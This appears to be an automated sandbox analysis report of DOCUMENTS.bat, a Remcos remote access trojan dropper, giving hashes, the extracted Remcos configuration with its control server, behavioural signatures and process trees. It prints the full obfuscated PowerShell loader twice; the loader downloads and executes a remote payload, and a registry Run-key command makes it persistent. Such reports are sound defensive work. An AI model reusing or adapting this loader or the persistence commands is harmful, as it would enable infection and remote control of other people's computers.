Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20250129-en -
resource tags
arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system -
submitted
31-01-2025 08:09
Static task
static1
Behavioral task
behavioral1
Sample
DOCUMENTS.bat
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
DOCUMENTS.bat
Resource
win10v2004-20250129-en
General
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Target
DOCUMENTS.bat
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Size
4KB
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MD5
7025208c5d6067587a8751c96fad91bb
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SHA1
83c115ba5c3383e18ec4fc18bcd867ef25867684
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SHA256
806fca5f68d315a77af1d8ac514192a59fabee15ad1d171eefcb2fd8ea6e2aa1
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SHA512
ae642cd90acabbae5fe71267ca1e378090c0d38ab831314c5157ba137826d001766f69cbf379865e0089b31d12604d72e51d302215b8ab01b29d8c97ea29cc0b
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SSDEEP
96:uC+ueoWu3xTKFjwSd7XphWxDI2o9vJ17RAy39Qy2l0ShxkdN:uHubp3QFM4muwy39Qy2lTuf
Malware Config
Extracted
remcos
Bvas572137Ele
www.caravanehamburg.de:8563
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Fahfg62153EbG-7BXUPM
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Remcos family
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Blocklisted process makes network request 5 IoCs
flow pid Process 2 3672 powershell.exe 21 3024 powershell.exe 23 3024 powershell.exe 27 3024 powershell.exe 29 3024 powershell.exe -
pid Process 3024 powershell.exe 3672 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3625106387-4207083342-115176794-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Acotyledonous = "%Hemidactylus% -windowstyle 1 $Bc=(gi 'HKCU:\\Software\\Sprhagens\\').GetValue('Laramie');%Hemidactylus% ($Bc)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 3024 powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3024 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 3672 powershell.exe 3672 powershell.exe 3024 powershell.exe 3024 powershell.exe 3024 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3672 powershell.exe Token: SeDebugPrivilege 3024 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2520 wrote to memory of 3672 2520 cmd.exe 84 PID 2520 wrote to memory of 3672 2520 cmd.exe 84 PID 3024 wrote to memory of 1704 3024 powershell.exe 92 PID 3024 wrote to memory of 1704 3024 powershell.exe 92 PID 3024 wrote to memory of 1704 3024 powershell.exe 92 PID 1704 wrote to memory of 3488 1704 cmd.exe 94 PID 1704 wrote to memory of 3488 1704 cmd.exe 94 PID 1704 wrote to memory of 3488 1704 cmd.exe 94
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DOCUMENTS.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "echo $Udstykningsomraaders; function Basunistens($Kalkeringers){$Eager=2;do{$Hjttaleranlggenes71+=$Kalkeringers[$Eager];$Eager+=3} until(!$Kalkeringers[$Eager])$Hjttaleranlggenes71}function Rebelly($belittlers){ .($Prparaternes) ($belittlers)}$Vandhanerne=Basunistens 'S NHoeA TV,. Dw';$Vandhanerne+=Basunistens 'L.eNeBL c Hl Li BeInNAfT';$Samilla=Basunistens 'S MAnoNoz Si.ilEdlSka ,/';$Eagermpulsfunktions=Basunistens '.lT Fl ys,v1 p2';$Xenoparasitism=' n[ GnViepyt ..C SCuE BRA VO.i Cn eSqPFro Li,iN MT vm Ra .nMeaElG DEVirSt]Do:.a: aSLaE TcB,UReRDjit TP yN.P RKuo ttL OMaCProUdlFo=Re$BeeInA eGKee r bM phaU LNeST.FS,U N TKReTSviBaOQun iS';$Samilla+=Basunistens 'Lu5An. v0Ge Bi(exW,ui InNodCao Aw FsTr eNBaT.i He1St0 C.Pr0Co;Mi ToWCliUnn 6Ap4Im;T. Ax e6Ju4Re;So Anr,ivK,:,l1K 3Mo4.m.Fr0 )Mu nG We.ocR,kAwoSk/ r2 g0P,1Ha0Sa0 C1,n0G,1 S cF Ti ar GeBofBlos,xMn/Sa1M 3.i4Te. R0';$recontemplating=Basunistens 'C uAws HeMiRSe-.saM gRiEPiNSeT';$Splejser=Basunistens ' ihA,tMot hpVe:Te/Ku/d wZowErw . .tPahSke Nv FiMesCli MoSynVeo PfL.eMen Ue nr AgT y K.c c .o RmDy/PeJ VePho UpT /BrCKihAni NgHunDooF.nNoeKvnE..A m sPoo';$Monophonies=Basunistens 'Ta>';$Prparaternes=Basunistens 'SaIFoEMoX';$officialise='Circumconic';$Christianshavneres='\Sippenipper.Sge';Rebelly (Basunistens 'T $ ,GNoL.yO SBKrA SlKo:m aSnfpnd UeH.L PI nN ,G,aSP.sWiY dG.rENeP PLFyED.Js EPerA.sAmK .E IRStN eeP 1p,6Re3Ne=E $FieTrN Iv N:N.A,iPshPZaDMaA et aAT +La$,oc ahleRPrI.is.atS iwrAStNS SSuHP,A eVMiNChe pRFie ,S');Rebelly (Basunistens 'Un$PaG lT,ODob,iaFoL D:BrrUnoA,M .ASnSJo=B $,nsBipUglPoE FjDaS ESor . s xpT.L TI t a(Sy$ omMeO.nN eoInPS.hFlO RN Vi REKos e)');Rebelly (Basunistens $Xenoparasitism);$Splejser=$Romas[0];$Byggearbejdere=(Basunistens 'Fr$U.gBrlMoo aBO aAuLCa:DerNaE uL IIW G KiSaOHuNP SStSPiTIrR UI MD IE.gKihBueGedUn=UnNC E DwCa-KhO SBGaJFiEMaC.nTU. ,sFoyS SSst ReMem,a.p,$ScV haAlnfodSkH hAFln tE ,RBrnBrE');Rebelly ($Byggearbejdere);Rebelly (Basunistens 'S,$H,RUneViltaiPyghuiMeo OnNas nsh tu r DiPodPriFzgHehAneTrd S. aH TeGaaEudBnePlr s ,[ B$ForRee UcS,o InM tS eRempupF lFuaS tS iSpn ng r]Mo=Ho$E.SSaad m,piVelPil Oa');$Afslibningen=Basunistens 'Su$ dROneHyl iFrgD iGao,gnNnsDas tForStiArdS iP gDuhDieOcddo. aDdooU,wTenDal eo la rd.nFUni Sl Fe i(Be$ TSmapFelHoe TjDesCheD rkl,Sa$JaC HoPhmEnpFoa mtAni.aeomnSitTh8An1P )';$Compatient81=$Afdelingssygeplejerskerne163;Rebelly (Basunistens 'Ka$SlgSol soSabs,a,eLFl:V G .u SDKoS Freo IR UGKaaMeaMde NboDTaeSl=Be(TrtOse ,S.ytfd-Frp VaDitHyHH, An$Dic,dO OmFePNoaF tImIF e.en fTCa8 e1Ma)');while (!$Gudsforgaaende) {Rebelly (Basunistens '.r$ yg.nlSaoG bSya lBr:hjD.ui UrVaeL,k ItToi nv.ie BrJanUdeSksDi=,a$ViDCoo jnZaeTyrskeStdP.e') ;Rebelly $Afslibningen;Rebelly (Basunistens 'udSuntReA,trPuTCu-ElSOpLSaEFaeSap B 4');Rebelly (Basunistens ' m$WiGArlenO BMoaU LUn: BG Bu.odC sR FS O aRPaGKna vAHee N D SE =,h(PoTI e es mt F-Pap FaHeT Lh.i ,$.sCk oCommepGiASpT i UERenAct S8Sc1 T)') ;Rebelly (Basunistens 'Ra$NoGDiLOvOM bDiAF,lR :Leb,oO btRihO,iJuEIl2Ti2 4 P= a$ G,olYaOAlBSya lS :Dip UOB.LAkYKeaSkdMaeT.l,oPMyHPaIEuAC + O+ D%Pu$AuRS.oBrMRhaAfsIm. FCUnoAluMyN.et') ;$Splejser=$Romas[$Bothie224]}$Hjlpemiddels223=331968;$Rucked=28368;Rebelly (Basunistens ' $BogScLSuOOvb oaSkL A: DFeARof rFLaY .DDooZiWT N ldAri L elPiY U H=Re DeGAreOvT T-DecgeO tNSttTueNanD TSu fo$NicPhOCoM,sPSiA sT eIPee,aNRoTSk8 1');Rebelly (Basunistens ' B$b,g lBooBrbOva.ol i:P sCim TaPea MkForduaEnvIsl.rsPr Fi=Ng Am[,nS nySusOvt oeBjmTi.SpCHjoF nSav eStrKotSt] a:Ac: FP.r.koC mDaB Ma rsS eSu6Sm4.iSR tusr iUdnC gEl(Po$ DIna ,fAmfS yCod oViw ,nDadafi Ll olPayL.)');Rebelly (Basunistens 'No$C GUdlFaoT b.oaW lSm:AnKTorPeAH KP nMeIYaN ngG Etsns ag=Gr N[ErsSpYH,sOvTSbE umNo.SkT,eES X Ht p.Exe eNSmCNaODeD,aiKeN gA,] C:Bi:,vA KSHyc I liSi.A G MeKatUrs.at.lr i eNC.g I( A$LiSLpmReaFoA AK ,r.vA .vDol rsJe)');Rebelly (Basunistens ' ,$X GRoLFioO,b A,il : CCV o pnBrtAurPlaNoSVatKn=Ba$TakI rF AF,kCenKoiDanSmgJaefeN.h.R sInU aBBesD tSoRn IneNStg.t( o$ nHmij.klDePGlemem eI dcyDIne.olk sE 2,f2m 3 C, l$ReR ZULyCfokfieomdCe)');Rebelly $Contrast;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3672
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Udstykningsomraaders; function Basunistens($Kalkeringers){$Eager=2;do{$Hjttaleranlggenes71+=$Kalkeringers[$Eager];$Eager+=3} until(!$Kalkeringers[$Eager])$Hjttaleranlggenes71}function Rebelly($belittlers){ .($Prparaternes) ($belittlers)}$Vandhanerne=Basunistens 'S NHoeA TV,. Dw';$Vandhanerne+=Basunistens 'L.eNeBL c Hl Li BeInNAfT';$Samilla=Basunistens 'S MAnoNoz Si.ilEdlSka ,/';$Eagermpulsfunktions=Basunistens '.lT Fl ys,v1 p2';$Xenoparasitism=' n[ GnViepyt ..C SCuE BRA VO.i Cn eSqPFro Li,iN MT vm Ra .nMeaElG DEVirSt]Do:.a: aSLaE TcB,UReRDjit TP yN.P RKuo ttL OMaCProUdlFo=Re$BeeInA eGKee r bM phaU LNeST.FS,U N TKReTSviBaOQun iS';$Samilla+=Basunistens 'Lu5An. v0Ge Bi(exW,ui InNodCao Aw FsTr eNBaT.i He1St0 C.Pr0Co;Mi ToWCliUnn 6Ap4Im;T. Ax e6Ju4Re;So Anr,ivK,:,l1K 3Mo4.m.Fr0 )Mu nG We.ocR,kAwoSk/ r2 g0P,1Ha0Sa0 C1,n0G,1 S cF Ti ar GeBofBlos,xMn/Sa1M 3.i4Te. R0';$recontemplating=Basunistens 'C uAws HeMiRSe-.saM gRiEPiNSeT';$Splejser=Basunistens ' ihA,tMot hpVe:Te/Ku/d wZowErw . .tPahSke Nv FiMesCli MoSynVeo PfL.eMen Ue nr AgT y K.c c .o RmDy/PeJ VePho UpT /BrCKihAni NgHunDooF.nNoeKvnE..A m sPoo';$Monophonies=Basunistens 'Ta>';$Prparaternes=Basunistens 'SaIFoEMoX';$officialise='Circumconic';$Christianshavneres='\Sippenipper.Sge';Rebelly (Basunistens 'T $ ,GNoL.yO SBKrA SlKo:m aSnfpnd UeH.L PI nN ,G,aSP.sWiY dG.rENeP PLFyED.Js EPerA.sAmK .E IRStN eeP 1p,6Re3Ne=E $FieTrN Iv N:N.A,iPshPZaDMaA et aAT +La$,oc ahleRPrI.is.atS iwrAStNS SSuHP,A eVMiNChe pRFie ,S');Rebelly (Basunistens 'Un$PaG lT,ODob,iaFoL D:BrrUnoA,M .ASnSJo=B $,nsBipUglPoE FjDaS ESor . s xpT.L TI t a(Sy$ omMeO.nN eoInPS.hFlO RN Vi REKos e)');Rebelly (Basunistens $Xenoparasitism);$Splejser=$Romas[0];$Byggearbejdere=(Basunistens 'Fr$U.gBrlMoo aBO aAuLCa:DerNaE uL IIW G KiSaOHuNP SStSPiTIrR UI MD IE.gKihBueGedUn=UnNC E DwCa-KhO SBGaJFiEMaC.nTU. ,sFoyS SSst ReMem,a.p,$ScV haAlnfodSkH hAFln tE ,RBrnBrE');Rebelly ($Byggearbejdere);Rebelly (Basunistens 'S,$H,RUneViltaiPyghuiMeo OnNas nsh tu r DiPodPriFzgHehAneTrd S. aH TeGaaEudBnePlr s ,[ B$ForRee UcS,o InM tS eRempupF lFuaS tS iSpn ng r]Mo=Ho$E.SSaad m,piVelPil Oa');$Afslibningen=Basunistens 'Su$ dROneHyl iFrgD iGao,gnNnsDas tForStiArdS iP gDuhDieOcddo. aDdooU,wTenDal eo la rd.nFUni Sl Fe i(Be$ TSmapFelHoe TjDesCheD rkl,Sa$JaC HoPhmEnpFoa mtAni.aeomnSitTh8An1P )';$Compatient81=$Afdelingssygeplejerskerne163;Rebelly (Basunistens 'Ka$SlgSol soSabs,a,eLFl:V G .u SDKoS Freo IR UGKaaMeaMde NboDTaeSl=Be(TrtOse ,S.ytfd-Frp VaDitHyHH, An$Dic,dO OmFePNoaF tImIF e.en fTCa8 e1Ma)');while (!$Gudsforgaaende) {Rebelly (Basunistens '.r$ yg.nlSaoG bSya lBr:hjD.ui UrVaeL,k ItToi nv.ie BrJanUdeSksDi=,a$ViDCoo jnZaeTyrskeStdP.e') ;Rebelly $Afslibningen;Rebelly (Basunistens 'udSuntReA,trPuTCu-ElSOpLSaEFaeSap B 4');Rebelly (Basunistens ' m$WiGArlenO BMoaU LUn: BG Bu.odC sR FS O aRPaGKna vAHee N D SE =,h(PoTI e es mt F-Pap FaHeT Lh.i ,$.sCk oCommepGiASpT i UERenAct S8Sc1 T)') ;Rebelly (Basunistens 'Ra$NoGDiLOvOM bDiAF,lR :Leb,oO btRihO,iJuEIl2Ti2 4 P= a$ G,olYaOAlBSya lS :Dip UOB.LAkYKeaSkdMaeT.l,oPMyHPaIEuAC + O+ D%Pu$AuRS.oBrMRhaAfsIm. FCUnoAluMyN.et') ;$Splejser=$Romas[$Bothie224]}$Hjlpemiddels223=331968;$Rucked=28368;Rebelly (Basunistens ' $BogScLSuOOvb oaSkL A: DFeARof rFLaY .DDooZiWT N ldAri L elPiY U H=Re DeGAreOvT T-DecgeO tNSttTueNanD TSu fo$NicPhOCoM,sPSiA sT eIPee,aNRoTSk8 1');Rebelly (Basunistens ' B$b,g lBooBrbOva.ol i:P sCim TaPea MkForduaEnvIsl.rsPr Fi=Ng Am[,nS nySusOvt oeBjmTi.SpCHjoF nSav eStrKotSt] a:Ac: FP.r.koC mDaB Ma rsS eSu6Sm4.iSR tusr iUdnC gEl(Po$ DIna ,fAmfS yCod oViw ,nDadafi Ll olPayL.)');Rebelly (Basunistens 'No$C GUdlFaoT b.oaW lSm:AnKTorPeAH KP nMeIYaN ngG Etsns ag=Gr N[ErsSpYH,sOvTSbE umNo.SkT,eES X Ht p.Exe eNSmCNaODeD,aiKeN gA,] C:Bi:,vA KSHyc I liSi.A G MeKatUrs.at.lr i eNC.g I( A$LiSLpmReaFoA AK ,r.vA .vDol rsJe)');Rebelly (Basunistens ' ,$X GRoLFioO,b A,il : CCV o pnBrtAurPlaNoSVatKn=Ba$TakI rF AF,kCenKoiDanSmgJaefeN.h.R sInU aBBesD tSoRn IneNStg.t( o$ nHmij.klDePGlemem eI dcyDIne.olk sE 2,f2m 3 C, l$ReR ZULyCfokfieomdCe)');Rebelly $Contrast;"1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Acotyledonous" /t REG_EXPAND_SZ /d "%Hemidactylus% -windowstyle 1 $Bc=(gi 'HKCU:\Software\Sprhagens\').GetValue('Laramie');%Hemidactylus% ($Bc)"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Acotyledonous" /t REG_EXPAND_SZ /d "%Hemidactylus% -windowstyle 1 $Bc=(gi 'HKCU:\Software\Sprhagens\').GetValue('Laramie');%Hemidactylus% ($Bc)"3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:3488
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD54aaea8e990963328115bd59dee2bcda8
SHA12d7eed0a0a898811d6a149a4545ab3732477c01a
SHA256d9409a92c971fffde4ef29a4777990224d362ae8d847b583a7bd01b5d80394cc
SHA512de1b4cd2633996f20d8967a55c654c902f94080ba4d002c8d7fd473d077b5c26d4b3c8064a3c69a9485074560f25764225f42aadde352633f96326ee521fbd50
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
469KB
MD5bd591a627872df6cf9d82c96994abdd9
SHA1caad35c5bdbdaba1a3f728e60a8aa28220938056
SHA2565a86a332e61c9eaf949d28891611a6eaa4baa327b776703a559fe9cd329f8f1b
SHA512800a478e3827babe983980e155fe630c14c191e4b214d9d7b18bcfe94ebcf65a00b9a9210cd2aeb7525848922bea036e6e33fa5f7268a93a6f526db828083304